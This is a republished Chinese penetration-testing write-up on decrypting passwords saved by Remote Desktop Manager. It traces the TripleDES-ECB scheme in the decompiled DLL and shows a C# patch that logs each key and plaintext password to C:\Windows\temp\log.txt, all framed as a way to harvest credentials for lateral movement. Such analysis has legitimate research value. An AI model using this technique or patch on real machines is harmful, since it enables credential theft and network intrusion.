Remote Desktop Manager 解密分析

渗透技巧 2年前 (2022) admin
781 0 0

点击蓝字 ·  关注我们

01

前言

Remote Desktop Manager 是一款远程桌面管理器工具,主要应用场景在,IT部门负责管理和控制对不断增长的现场和异地服务器、计算机和设备库存的访问。然而,依赖多个远程连接工具和密码管理器效率低下、令人沮丧且不安全。IT 专业人员、系统管理员和帮助台技术人员没有得到简化的清晰度处理,而是在持续的混乱中挣扎。解决方案是将远程连接技术、远程机器数据、密码管理和访问控制集中在一个安全、可扩展且易于使用的平台上。

在内网横向中,我们经常会遇到运维的机器,当我们可以解密Remote Desktop Manager 工具的密码时,可以获取更多的凭据,有助于我们在内网渗透中横向移动。

类似于我们常常去解密Xshell 是一个道理的,由于我项目中遇到,在 google 等搜索引擎并没有找到解密办法,尝试自己解密。

02

基本信息获取

根据启动时,所加载的DLL 确定大概分析范围

RemoteDesktopManager.Core.dllRemoteDesktopManager.Business.dllDevolutions.dll

Remote Desktop Manager 解密分析

对查看密码功能进行点击测试,观察Operation 是否读取本地文件、注册表等信息,发现在 

%LOCALAPPDATA%AppDataLocalDevolutionsRemoteDesktopManagerFreeConnections.log

 进行连接记录

Remote Desktop Manager 解密分析


Remote Desktop Manager 解密分析

%LOCALAPPDATA%AppDataLocalDevolutionsRemoteDesktopManagerFreeConnections.db

在DB中发现了加密的密码

  • RDP

<RDP>    <SafePassword>UJbKx4lffJM=</SafePassword>    <UserName>administrator</UserName>  </RDP>
  • SSH

<Terminal>    <Host>cc</Host>    <PrivateKeyPromptForPassPhrase>false</PrivateKeyPromptForPassPhrase>    <SafePassword>WqYhDbiAsH8=</SafePassword>    <Username>aa</Username>  </Terminal>

Remote Desktop Manager 解密分析


现在我们已经获取了加密后的密码,和基础的连接信息,接下来我们只要分析出加密方式,即可解密、获取明文密码。

03

加密方式获取

根据上0x1的基础分析,我们现在对 

RemoteDesktopManager.Core.dll

 进行反编译,查看代码,尝试找到加密方式。

FreRemoteDesktopConnectionSetings

发现了连接配置信息。

Remote Desktop Manager 解密分析


根据连接信息进行回溯

找到 DecryptBasic 方法

Remote Desktop Manager 解密分析


继续跟 UnsafeEncryptionManager.Deobfuscate
Remote Desktop Manager 解密分析


Deobfuscate 中发现 当满足 !UnsafeEncryptionManager.IsEncrypted(cipherText) 条件 进入 ObfuscationUtils.Deobfuscate
Remote Desktop Manager 解密分析
Deobfuscate 方法 接收参数为 string encryptedString, string key 那么这里 encryptedString 接收的内容 可能就是我们在sqlite中看到的Safepassword ,key为软件所生成的,

Remote Desktop Manager 解密分析


回溯上面的调用,下断点。

Remote Desktop Manager 解密分析

通过逐语句,来到了我们刚刚自己找的这块,确认了我们猜测的流程没有问题
Remote Desktop Manager 解密分析

在到了 Deobfuscate 方法中时,我们所接收的key 已经有了。
Remote Desktop Manager 解密分析

在继续跟上图103 行,GetDecryptorTransform 方法时,我们看到了加密方法。
 public static ICryptoTransform GetDecryptorTransform(string key)        {            Dictionary<string, ICryptoTransform> obj = ObfuscationUtils.decryptorTransforms;            ICryptoTransform cryptoTransform;            lock (obj)            {                if (!ObfuscationUtils.decryptorTransforms.TryGetValue(key, out cryptoTransform))                {                    TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();                    byte[] key2 = ObfuscationUtils.MD5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(key));                    tripleDESCryptoServiceProvider.Key = key2;                    tripleDESCryptoServiceProvider.Mode = CipherMode.ECB;                    cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor();                    ObfuscationUtils.decryptorTransforms.Add(key, cryptoTransform);                }            }            return cryptoTransform;
Remote Desktop Manager 解密分析
当reurn result 的时,我们就已经看到了密码。
Remote Desktop Manager 解密分析
Deobfuscate 对应加密的key 和 encryptedString , text 为我们的明文密码,由刚刚的bytes result 转字符串。
Remote Desktop Manager 解密分析

那么现在具体的解密流程,我们就已经大概了解了,接下来我们怎么解密目标机器的呢?

1.离线解密

回溯key的生成,找到key生成的方法和存储位置

2.反编译对应的DLL文件

在DLL文件添加记录 encryptedString 、key、 text(password)

04

获取明文凭据

这里我们以反编译对应的DLL,演示获取明文凭据,在此处进行反编译DLL,最后保存生成替换即可。

Remote Desktop Manager 解密分析
 string[] array2 = new string[]    {        "encryptedString:" + encryptedString,        "key:" + key,        "result:" + text + "n"    };    using (StreamWriter streamWriter = new StreamWriter("C:\\Windows\\temp\\log.txt", true))    {        foreach (string text2 in array2)        {            if (!text2.Contains("second"))            {                streamWriter.WriteLine(text2);            }        }    }
Remote Desktop Manager 解密分析

最后实现效果,成功记录了SSH、RDP 的 password ,想详细的记录连接信息,可继续往上层跳。

拿到encryptedString 直接就可以在数据库中比对了。

Remote Desktop Manager 解密分析 Remote Desktop Manager 解密分析



注:本文由0xdd原创发布,已经获得本人同意在EDI公众号发布该文章

文章转载来源安全客

文章出处: https://www.anquanke.com/post/id/264191

EDI安全

Remote Desktop Manager 解密分析

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


原文始发于微信公众号(EDI安全):Remote Desktop Manager 解密分析

版权声明:admin 发表于 2022年1月12日 上午11:30。
转载请注明:Remote Desktop Manager 解密分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...